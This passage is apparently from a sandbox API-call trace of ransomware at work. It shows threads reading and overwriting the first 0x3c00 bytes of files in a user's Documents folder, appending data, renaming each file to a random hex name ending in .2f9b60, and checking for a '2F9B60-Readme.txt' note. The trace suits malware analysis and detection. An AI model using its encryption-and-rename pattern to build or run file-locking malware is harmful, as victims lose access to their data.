RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x71bbcd95 [0092.442] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0xf03c9e6 [0092.442] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x16c02142 [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x3303781c [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x6a2e65a8 [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x50286573 [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x1fdf2f3c [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x62c434ed [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x2106a309 [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x3a40e660 [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x3580a26b [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x58c4351c [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x20340a07 [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x28d59049 [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x449affae [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0xd9997f0 [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0xf03c9e6 [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x68cae8cf [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x6303f697 [0092.443] RtlRandomEx (in: Seed=0x21b6fbf0 | out: Seed=0x21b6fbf0) returned 0x7e3d1bc3 [0092.450] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.450] ReadFile (in: hFile=0xdac, lpBuffer=0x201e6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21b6fc60, lpOverlapped=0x0 | out: lpBuffer=0x201e6910*, lpNumberOfBytesRead=0x21b6fc60*=0x3c00, lpOverlapped=0x0) returned 1 [0092.451] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aff0) returned 1 [0092.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201ea520 [0092.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0092.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b230) returned 1 [0092.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.451] WriteFile (in: hFile=0xdac, lpBuffer=0x201ea520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21b6fc60, lpOverlapped=0x0 | out: lpBuffer=0x201ea520*, lpNumberOfBytesWritten=0x21b6fc60*=0x3c00, lpOverlapped=0x0) returned 1 [0092.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ea520) returned 1 [0092.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201e6910) returned 1 [0092.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f3f0 [0092.486] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.486] WriteFile (in: hFile=0xdac, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x21b6fd10, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x21b6fd10*=0x114, lpOverlapped=0x0) returned 1 [0092.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0092.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b920 [0092.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b920) returned 1 [0092.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82b920 [0092.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b6b0 [0092.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0092.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a870) returned 1 [0092.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0092.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1b82c030 [0092.498] sprintf (in: _Dest=0x1b82c030, _Format="%c%c" | out: _Dest="8b") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c032, _Format="%c%c" | out: _Dest="4d") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c034, _Format="%c%c" | out: _Dest="93") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c036, _Format="%c%c" | out: _Dest="eb") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c038, _Format="%c%c" | out: _Dest="25") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c03a, _Format="%c%c" | out: _Dest="d6") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c03c, _Format="%c%c" | out: _Dest="cb") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c03e, _Format="%c%c" | out: _Dest="aa") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c040, _Format="%c%c" | out: _Dest="ab") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c042, _Format="%c%c" | out: _Dest="9c") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c044, _Format="%c%c" | out: _Dest="63") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c046, _Format="%c%c" | out: _Dest="18") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c048, _Format="%c%c" | out: _Dest="32") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c04a, _Format="%c%c" | out: _Dest="7a") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c04c, _Format="%c%c" | out: _Dest="63") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c04e, _Format="%c%c" | out: _Dest="98") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c050, _Format="%c%c" | out: _Dest="14") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c052, _Format="%c%c" | out: _Dest="5f") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c054, _Format="%c%c" | out: _Dest="9f") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c056, _Format="%c%c" | out: _Dest="8b") returned 2 [0092.498] sprintf (in: _Dest=0x1b82c058, _Format="%c%c" | out: _Dest="6f") returned 2 [0092.499] sprintf (in: _Dest=0x1b82c05a, _Format="%c%c" | out: _Dest="6d") returned 2 [0092.499] sprintf (in: _Dest=0x1b82c05c, _Format="%c%c" | out: _Dest="84") returned 2 [0092.499] sprintf (in: _Dest=0x1b82c05e, _Format="%c%c" | out: _Dest="4e") returned 2 [0092.499] sprintf (in: _Dest=0x1b82c060, _Format="%c%c" | out: _Dest="55") returned 2 [0092.499] sprintf (in: _Dest=0x1b82c062, _Format="%c%c" | out: _Dest="06") returned 2 [0092.499] sprintf (in: _Dest=0x1b82c064, _Format="%c%c" | out: _Dest="d3") returned 2 [0092.499] sprintf (in: _Dest=0x1b82c066, _Format="%c%c" | out: _Dest="d1") returned 2 [0092.499] sprintf (in: _Dest=0x1b82c068, _Format="%c%c" | out: _Dest="28") returned 2 [0092.499] sprintf (in: _Dest=0x1b82c06a, _Format="%c%c" | out: _Dest="15") returned 2 [0092.499] sprintf (in: _Dest=0x1b82c06c, _Format="%c%c" | out: _Dest="83") returned 2 [0092.499] sprintf (in: _Dest=0x1b82c06e, _Format="%c%c" | out: _Dest="8b") returned 2 [0092.499] sprintf (in: _Dest=0x1b82c070, _Format="%c%c" | out: _Dest="7c") returned 2 [0092.499] sprintf (in: _Dest=0x1b82c072, _Format="%c%c" | out: _Dest="13") returned 2 [0092.499] RtlInitAnsiString (in: DestinationString=0x21b6fd88, SourceString="8b4d93eb25d6cbaaab9c6318327a6398145f9f8b6f6d844e5506d3d12815838b7c13" | out: DestinationString="8b4d93eb25d6cbaaab9c6318327a6398145f9f8b6f6d844e5506d3d12815838b7c13") [0092.499] RtlAnsiStringToUnicodeString (in: DestinationString=0x21b6fd58, SourceString="8b4d93eb25d6cbaaab9c6318327a6398145f9f8b6f6d844e5506d3d12815838b7c13", AllocateDestinationString=1 | out: DestinationString="8b4d93eb25d6cbaaab9c6318327a6398145f9f8b6f6d844e5506d3d12815838b7c13") returned 0x0 [0092.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad700 [0092.499] wcscat (in: _Dest=0x1b7842e0, _Source="8b4d93eb25d6cbaaa" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8b4d93eb25d6cbaaa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8b4d93eb25d6cbaaa" [0092.499] wcscat (in: _Dest=0x1b7842e0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8b4d93eb25d6cbaaa.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8b4d93eb25d6cbaaa.2f9b60" [0092.499] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8b4d93eb25d6cbaaa.2f9b60", NtPathName=0x21b6fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8b4d93eb25d6cbaaa.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce11550 [0092.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11550) returned 1 [0092.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1230d0) returned 1 [0092.534] NtQueryInformationFile (in: FileHandle=0xdac, IoStatusBlock=0x21b6fd98, FileInformation=0x21b6fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21b6fd98, FileInformation=0x21b6fda8) returned 0x0 [0092.534] NtSetInformationFile (FileHandle=0xdac, IoStatusBlock=0x21b6fd98, FileInformation=0x21b6fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7842e0) returned 1 [0092.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad700) returned 1 [0092.537] FlushFileBuffers (hFile=0xdac) returned 1 [0092.540] CloseHandle (hObject=0xdac) returned 1 [0092.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79d970 [0092.540] wcscpy (in: _Dest=0x1b79d970, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.541] wcscat (in: _Dest=0x1b79d970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.541] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0092.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 Thread: id = 499 os_tid = 0xca0 [0092.388] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ebts.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ebts.ots")) returned 0x20 [0092.388] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ebts.ots", dwFileAttributes=0x20) returned 1 [0092.429] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ebts.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ebts.ots"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0092.429] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x21cefbc0 | out: lpFileSize=0x21cefbc0*=36329) returned 1 [0092.429] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x8de5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.429] ReadFile (in: hFile=0xcfc, lpBuffer=0x21cefb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21cefb88, lpOverlapped=0x0 | out: lpBuffer=0x21cefb40*, lpNumberOfBytesRead=0x21cefb88*=0x4, lpOverlapped=0x0) returned 1 [0092.430] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0092.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0092.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.431] NtQuerySystemTime (in: CurrentTime=0x21cefa80 | out: CurrentTime=0x21cefa80*=132462176982718000) returned 0x0 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x69c18dc4 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x7b597442 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x125fa2d9 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x298ac9b7 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x690d2c24 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x3b73dd94 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x2d88891d [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x724e9de [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x192b25f9 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x735c0736 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x1b2e3707 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x3e9a0c19 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x37cbb1e2 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x78d0fcc1 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x4af56e6b [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x6e2ee6b9 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0xebe49ea [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x3ec0b1bf [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x1dcd2691 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x7fb2c5c [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x65329c10 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x15d3e9e5 [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x3af7543e [0092.431] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0xd289a78 [0092.432] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x45fdb828 [0092.432] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x5d28dda2 [0092.432] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x4db60674 [0092.432] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x5273198 [0092.432] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x426a49b [0092.432] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0xde05424 [0092.432] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x151d174d [0092.432] RtlRandomEx (in: Seed=0x21cefa70 | out: Seed=0x21cefa70) returned 0x676fccfb [0092.439] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.439] ReadFile (in: hFile=0xcfc, lpBuffer=0x201885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21cefae0, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesRead=0x21cefae0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.439] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0092.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b350) returned 1 [0092.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2018c1b0 [0092.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0092.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aff0) returned 1 [0092.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.439] WriteFile (in: hFile=0xcfc, lpBuffer=0x2018c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21cefae0, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesWritten=0x21cefae0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0092.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201885a0) returned 1 [0092.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1ced77d0 [0092.485] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.485] WriteFile (in: hFile=0xcfc, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x21cefb90, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x21cefb90*=0x102, lpOverlapped=0x0) returned 1 [0092.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0092.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0092.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0092.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0092.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b140 [0092.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b140) returned 1 [0092.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1b82b140 [0092.495] sprintf (in: _Dest=0x1b82b140, _Format="%c%c" | out: _Dest="fb") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b142, _Format="%c%c" | out: _Dest="d9") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b144, _Format="%c%c" | out: _Dest="e8") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b146, _Format="%c%c" | out: _Dest="77") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b148, _Format="%c%c" | out: _Dest="00") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b14a, _Format="%c%c" | out: _Dest="c2") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b14c, _Format="%c%c" | out: _Dest="ab") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b14e, _Format="%c%c" | out: _Dest="7f") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b150, _Format="%c%c" | out: _Dest="e2") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b152, _Format="%c%c" | out: _Dest="2d") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b154, _Format="%c%c" | out: _Dest="2e") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b156, _Format="%c%c" | out: _Dest="24") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b158, _Format="%c%c" | out: _Dest="8e") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b15a, _Format="%c%c" | out: _Dest="e5") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b15c, _Format="%c%c" | out: _Dest="d7") returned 2 [0092.496] sprintf (in: _Dest=0x1b82b15e, _Format="%c%c" | out: _Dest="4e") returned 2 [0092.496] RtlInitAnsiString (in: DestinationString=0x21cefc08, SourceString="fbd9e87700c2ab7fe22d2e248ee5d74e" | out: DestinationString="fbd9e87700c2ab7fe22d2e248ee5d74e") [0092.496] RtlAnsiStringToUnicodeString (in: DestinationString=0x21cefbd8, SourceString="fbd9e87700c2ab7fe22d2e248ee5d74e", AllocateDestinationString=1 | out: DestinationString="fbd9e87700c2ab7fe22d2e248ee5d74e") returned 0x0 [0092.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82bc20 [0092.496] wcscat (in: _Dest=0x1b79dcf0, _Source="fbd9e877" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fbd9e877") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fbd9e877" [0092.496] wcscat (in: _Dest=0x1b79dcf0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fbd9e877.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fbd9e877.2f9b60" [0092.496] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fbd9e877.2f9b60", NtPathName=0x21cefbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\fbd9e877.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7ad2a0 [0092.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0092.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0092.592] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x21cefc18, FileInformation=0x21cefc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21cefc18, FileInformation=0x21cefc28) returned 0x0 [0092.592] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x21cefc18, FileInformation=0x21cefc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.593] FlushFileBuffers (hFile=0xcfc) returned 1 [0092.597] CloseHandle (hObject=0xcfc) returned 1 [0092.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85e610 [0092.598] wcscpy (in: _Dest=0x1b85e610, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.598] wcscat (in: _Dest=0x1b85e610, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.598] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 [0092.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e410) returned 1 Thread: id = 500 os_tid = 0xca4 [0092.389] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EOAS6FJTIipuQi9.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eoas6fjtiipuqi9.rtf")) returned 0x20 [0092.389] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EOAS6FJTIipuQi9.rtf", dwFileAttributes=0x20) returned 1 [0092.416] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 